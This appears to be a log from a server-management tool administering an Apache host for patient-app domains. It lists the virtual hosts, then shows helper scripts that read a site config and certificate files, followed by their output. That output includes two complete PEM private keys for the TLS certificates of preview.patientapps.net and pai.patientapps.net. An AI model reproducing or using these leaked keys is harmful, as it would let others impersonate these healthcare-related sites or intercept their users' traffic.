         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-08-30 06:03:20: 

PUT: /tmp/pkp390660

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_preview_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-30 06:03:20: 

chmod 755 /tmp/pkp390660; /tmp/pkp390660; rm /tmp/pkp390660

2025-08-30 06:03:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_preview_net.conf	1436

<VirtualHost *:80>
    ServerName	preview.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    #    DocumentRoot	/var/www/patientapps_preview
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/preview_access.log combined
    ErrorLog	/var/log/apache2/patientapps/preview_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	preview.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/preview_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/preview_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-08-30 06:03:20: 

PUT: /tmp/pkp847431

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-30 06:03:20: 

chmod 755 /tmp/pkp847431; /tmp/pkp847431; rm /tmp/pkp847431

2025-08-30 06:03:20: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt	5369
b2:05:81:c4:b0:b3:68:74:04:74:6b:b4:c4:3d:c2:68

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBm1vnHpHvWSUyeUb2L9nq79bMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwNDQ4WhcNMjUxMTI4MDUwNDQ3WjAiMSAwHgYDVQQD
ExdwcmV2aWV3LnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAMs2PPsQ6EputIqXpEFrZ1skRGjHZT5jKIYz7LAOsgJ0psa6pL5n
3iaiBMcy9ebDq52AgQTpSvEY0tbBvB2ZGw3t2a/B6GDCtasXDKRSAXqjH2hRVy98
hgnQh38m29RhBlJ6lWphBj0TVs179jV3Ax3Chi9nqBxRT8Gy9HLJzOiWY8oH1h8y
SSAzu8XHPJ0hfYYLn8wuNB6n1E5DVgXf/6uv7EFhvluxx1jkwaaNdj8PRkM74s8H
2w1oqa23/Y94givQ/3fdtMSfJHPk4AW9penzNwKsibmbfeK0L4/gFLIAvEMoqbpi
4ehFKnoLWHjLBQ1TAEWBPIDQOo9llu8UG/0CAwEAAaOCAicwggIjMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUCqfm+4nIdVpCELXT6IPfauWrguMwHwYDVR0jBBgwFoAU
ALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdwcmV2aWV3LnBh
dGllbnRhcHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzkyLmNybDCCAQQGCisGAQQB1nkC
BAIEgfUEgfIA8AB2AMz7D2qFcQll/pWbU87psnwi6YVcDZeNtql+VMD+TA2wAAAB
mPmSt+4AAAQDAEcwRQIgB1Ha8JEtHMmDoIj/w9JZ4KHTHcz4PZEtj2gEIn7gu/0C
IQDzLVWJZh9v8UhdSif/KnvB2kUMIaisamuRMp0bj3eSIAB2ABLxTjS9U3JMhAYZ
w48/ehP457Vih4icbTAFhOvlhiY6AAABmPmSt+wAAAQDAEcwRQIgDJ6DSnADzhxQ
pwDHM9Gkbj5h8fdgVvQwhQgFVlkgY1YCIQC6bOH/x9Y05IAggYweaIKFyJ/pcOsg
abAcX4pjcStVNjANBgkqhkiG9w0BAQsFAAOCAQEAgr/Sa0UwfN7u+HEo51H3lHmD
xuCE+wCrZAGubn+C94lA69S/KSGzSPP/JLjYogVP3b6n+FRaAPHjN16sdVTCFHAm
Be2rS8pzqv9fJkF51cl7Hpinqmelo0+B3kVRwmY9Ton3pvdS291lWQ8XHSLul2cj
QGvwgdjCarAA4wc0g82+i3piUgbHksleApL0ZkiUkJX74Abv2jCe9eyhBI4LnWn1
Bzd5qRFJaXF4ZbRHWvRhsRnc+zL27br4PPb0cG7FtBqY6G4/TRaBwjLDaKsZcMdK
Xhv2TKCOdW9A751KWwhULuFBnG+SU4EN6OtanheNIK1kDGpavHm4HXQUYZLIJQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDLNjz7EOhKbrSK
l6RBa2dbJERox2U+YyiGM+ywDrICdKbGuqS+Z94mogTHMvXmw6udgIEE6UrxGNLW
wbwdmRsN7dmvwehgwrWrFwykUgF6ox9oUVcvfIYJ0Id/JtvUYQZSepVqYQY9E1bN
e/Y1dwMdwoYvZ6gcUU/BsvRyyczolmPKB9YfMkkgM7vFxzydIX2GC5/MLjQep9RO
Q1YF3/+rr+xBYb5bscdY5MGmjXY/D0ZDO+LPB9sNaKmtt/2PeIIr0P933bTEnyRz
5OAFvaXp8zcCrIm5m33itC+P4BSyALxDKKm6YuHoRSp6C1h4ywUNUwBFgTyA0DqP
ZZbvFBv9AgMBAAECggEALFPwiXPuuA3eJD1f/0VGjoMiyRh15V4MAPpiryUFf7Oi
jcc5GK/frd253RooueYFEZ5uhnu9dUpM87vfJTW4yRkRW12ZK0JODrxAbbfVysK6
ny7fLeSj+JAcfogje/iOQH+tCD+R9NC7Jqfb1V3YuC0uyDh8W3EBTOeUm1WZ9UI1
dKxrytx/GDqPOeyI7s2f52hONQCpeax9aIrYYODXcbg0l2IkhdNV0r7D82CjBNPb
pnftVgVpBrin77wSTkXBOnDDJy5fNvC501BjW7rlvuB+ni0OyueQjBXC3rNCSM/G
H8tiwihfS4qXixTixbEmCzpcIuTP8iav3YCZykxroQKBgQDu88v22t8jhcwiYPpm
vkXabVETgpHmcccLIYD2GHrlAFnFZZZ/N8I+ImTCq/O5YGIG3auqn6PcKXq0ha53
XOWWsj+REL4XQvGDsEc8optsUzJ2KYNBBJaknjxHEAovXB3dK7F4DtRTBKjPNhRy
kPovoMv+dTwMT+doyfx/U5ViGwKBgQDZta5TdgedkVmR3TY4qHI5I8F3kEGmKoz/
PF6mxdWOFqRmeNN8T8ZbHlnFEJR3StsUzssHqGS6oEg7xmhS3p/SZsQLRSTxyirS
HYqb3ThClRC8SbIBXaljlpW5bmRGiLSeWOgtj0d6C/m0abR3Hy+aUuCN0x5Qle4V
dOROR5QbxwKBgQCFBA3sctZ4Lcj+8kEx5IV6HBRf6fVR9NA6cAIb/HCc/d77NZvb
YaytbfPtMk9QSEkJTWh8aLWMn0KBL1F5fKsJglxEYq+Ov2M2TXC6XkJqwL18bYt1
LBq3tKYVYOZqirrNHb+C965WMGfQQWiMhgvfa4FjOtucdvZ4rMf0ERE9NQKBgBoE
dEjVGiPicunTnd83gi8B7uTzAGVzQFZgSI91pQfN/OeiGOQKRJIvFltOl++JqpTa
AblwjlkfPoKmO2Fr6X2jelo+cSPUHTnu/dmSnl6WoeFejT9Miim0nUADyUgEnlEu
HtETBl+3fqfo2gBCYdX3gY5xZHYM9N7rkT0poLGRAoGAEQXQ4OP4WyNNl9ZiIqI5
BsYDmvK3EKKPaGe3p4BpEUsYAyiLp3p1HB+A7PHys3MpfyCgnjeg0dZLGOCSwWXa
BFkps1RZhZE7rq36hUYUEz9zZ6g43qmRkW6hD+lWhH71QElvdBKhF1MTIM8bSNSS
3jefeoGPfM/At+PmdP308DI=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-08-30 06:03:20: Establishing a connection
2025-08-30 06:03:20: Establishing a connection
2025-08-30 06:03:20: 

PUT: /tmp/pkp509604

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-08-30 06:03:20: 

chmod 755 /tmp/pkp509604; /tmp/pkp509604; rm /tmp/pkp509604

2025-08-30 06:03:20: 


0


2025-08-30 06:03:46: Establishing a connection
2025-08-30 06:03:46: 

PUT: /tmp/pkp655643

#!/bin/bash
temp_file=$(mktemp)
TARGET=3f85a328a3b4d0829fd0b0b311b3007b.crt

cat > $temp_file <<'endmsg'
ad:af:6c:98:ed:8a:90:12:40:10:21:3e:93:7b:0e:85

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBnmLSnwqcdv8Uk3R2YRJPRJaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwNTE2WhcNMjUxMTI4MDUwNTE1WjAeMRwwGgYDVQQD
ExNwYWkucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEArjYrI7t9ONXL8z0r1Zb999fGJE8GBXRmgYOf/WRdxj2atw3W1lkO6MDI
+pfZHHEvUT+aL8fUtCwJD81+8TYPU/spGUxscwNquJTBlIs0nL0ZNp9yltuKTslG
Erzdpe6AorQf8evWC963qFhkNTubk2Px+uz7+b8a7aS3bqYhlgpw4hgX/nxqEpet
ZASSfbZKfoSF0jOpoLKKXHjr7VqDQ6NykccbyFkqeeNbN6k27vOlfv576T+tG82c
WPkwl6PwbQZtGy2DJfNwuGzbtOn1qeWd7XcmIywabnGmOLKwKqaoK40NgDg5pTWk
5vIpwDL1qN329QgMpGB2DuACcCB7twIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTcqheIoghgvFSE8ZLa7NtsvdANGTAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3BhaS5wYXRpZW50YXBw
cy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy85MS5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHy
APAAdgDM+w9qhXEJZf6Vm1PO6bJ8IumFXA2XjbapflTA/kwNsAAAAZj5kyLHAAAE
AwBHMEUCIDhkRBG5eUQKZhlbp5URvbTA78VX1AP9VW/Us0mUp4I9AiEAqbyYSRBQ
iDwkmBzRTlZvxAk9V+d+Emr9eX55njtCfoMAdgAN4fIwK9MNwUBiEgnqVS78R3R8
sdfpMO8OQh60fk6qNAAAAZj5kyKuAAAEAwBHMEUCIQC9Y8yQ5QyCjbikwMLAixzD
Bieal9GIgp10jFOaE9Y80gIgVlc35GmaoaHGv/9QCAXXL2HOa/xJQDTWpqbBX+Y2
BYQwDQYJKoZIhvcNAQELBQADggEBABwOlw1rGRujflu5YNL94ri6Y+5iUedYnD7g
B2U5z6++4lPKSWqnexANtlTBwEnS/fyXvwipFMSaOwbAJpCZcJR8R1Rk+P3boQdL
SoQofG3R33cJESeAzIXILtV6H+/lBZRCZ9KRsYtHS1ZHk7nHlMzUTCj66GKVJSQb
2HZhiiI6tH4Klwteo+abIWIUbG/uQ+Cy0F5OCdHU43ddgpvI9VSM0qY2PKqG7ovG
Dj5megdZc+59bM4vviE6/+wk4JTnGFJ3PP5S4p289za2MX+exzI6uR/aM/pEKHXu
2s7nQQTp6z+1y+1iBJcjMU1NyL18ZipCoYYDAC7Tlu1ryu7WVLY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCuNisju3041cvz
PSvVlv3318YkTwYFdGaBg5/9ZF3GPZq3DdbWWQ7owMj6l9kccS9RP5ovx9S0LAkP
zX7xNg9T+ykZTGxzA2q4lMGUizScvRk2n3KW24pOyUYSvN2l7oCitB/x69YL3reo
WGQ1O5uTY/H67Pv5vxrtpLdupiGWCnDiGBf+fGoSl61kBJJ9tkp+hIXSM6mgsopc
eOvtWoNDo3KRxxvIWSp541s3qTbu86V+/nvpP60bzZxY+TCXo/BtBm0bLYMl83C4
bNu06fWp5Z3tdyYjLBpucaY4srAqpqgrjQ2AODmlNaTm8inAMvWo3fb1CAykYHYO
4AJwIHu3AgMBAAECggEAXHEyAwwCLp6EUtYq5HPy4AkHg0zLjSlvG1qVEwinGgKm
jmwxjBxF5QwnmZHqC0WkLiDp2GDZZaHYTSJmMejVyWKFNH9xLLarcra84e3cRS+y
qWGClLp6ccQsAtVlaB9e8vdR3DWgpzvPiO0ef4DZ1SQ7y0LlkmjuCRxWmcheGhcf
yBIJsFzvIdZk7rxIBvSbeJ9/ljbyXxNyaQsPGTVQajszSZJ9Xxk/a5agx7ON8S4f
C3GrICbaazpHK9ugWqxSnZB39jjPFav3h9z+id4xDOgBWN9Ef88OZ0LLtnzcv/MG
L4BkK7z2/5MITHWZxbUPjpW3b7hUVDyxumkwjmGdQQKBgQDfLShR6Eb49/hCzVIf
UeAa2zz91vaWFPm9zeJ57Xavb9QdoHwUbuAEyJhj7xl9foeXWnA/7gYD+Uu1mOuR
MNM7tESnNd4x62mh2ybmEuFHILfreNmDKHksXZEj66Va2QmUyS3syT8NYM0c5C1f
umicQd3iFQV8poDA0j/tDbFMAwKBgQDH1W5ge1XG283U6IwAx908M7e3pCY45blC
XX21wH2UlOMyR4axeXYYhjLn++l97Jf8hdauVarjt1mLEgJX65SZFn0u2XePT6hk
p8RK+YLrHLFzFQflTC2dC0YD+E2tcYjFoRnnUwbQxpoPSaFZhB7g00MsVSV0g8ju
mnn1hwx1PQKBgQDD5Wl86/xQUakzSfKJ1151dHfHAMeV2XeWKYBgMhZ5zBlOoC4J
6YDt8f4BykB/rW7rZdEd7JqPJmZUUpSD722a/JM+isQs4Uzpa+prDat8ubV3Fa8n
t4EVdlQOSavtYJFOboDHVabo4U1pzMgfPQrSDebrqjQUxDpEBsliFSDJbQKBgQDH
P47jknYvZkBwFkJqEN4NRb/b0kbuGlfCzTcnvrs4J8/09Q5e7K2MvFoLpsjj7sCI
X+ZzQyW2Eb2thZJimZk7nwnIabrlYNaVLhXxb6FSzfQ8u+54eaFNYc047h59XqOx
8fTDCqzUBAHeVlsTx0GGh/8FOAy1hSUWi14pKrOIPQKBgQDbYqJHY1ZgM2ZaE7aK
goGIZPSSbhtJug81UlwlpGkhG5CL67LP7EGoq1+kCfawJv4+mJBCqEp7hYAyJovC
7zGN2aYin82c2HBoE6aZgV+jB74Md+k0Z9vaWc+SuAEQm+JEvEqKI0CWJHwisbDe
VP0atVe4sr7b8O3LcITnhxR7tA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
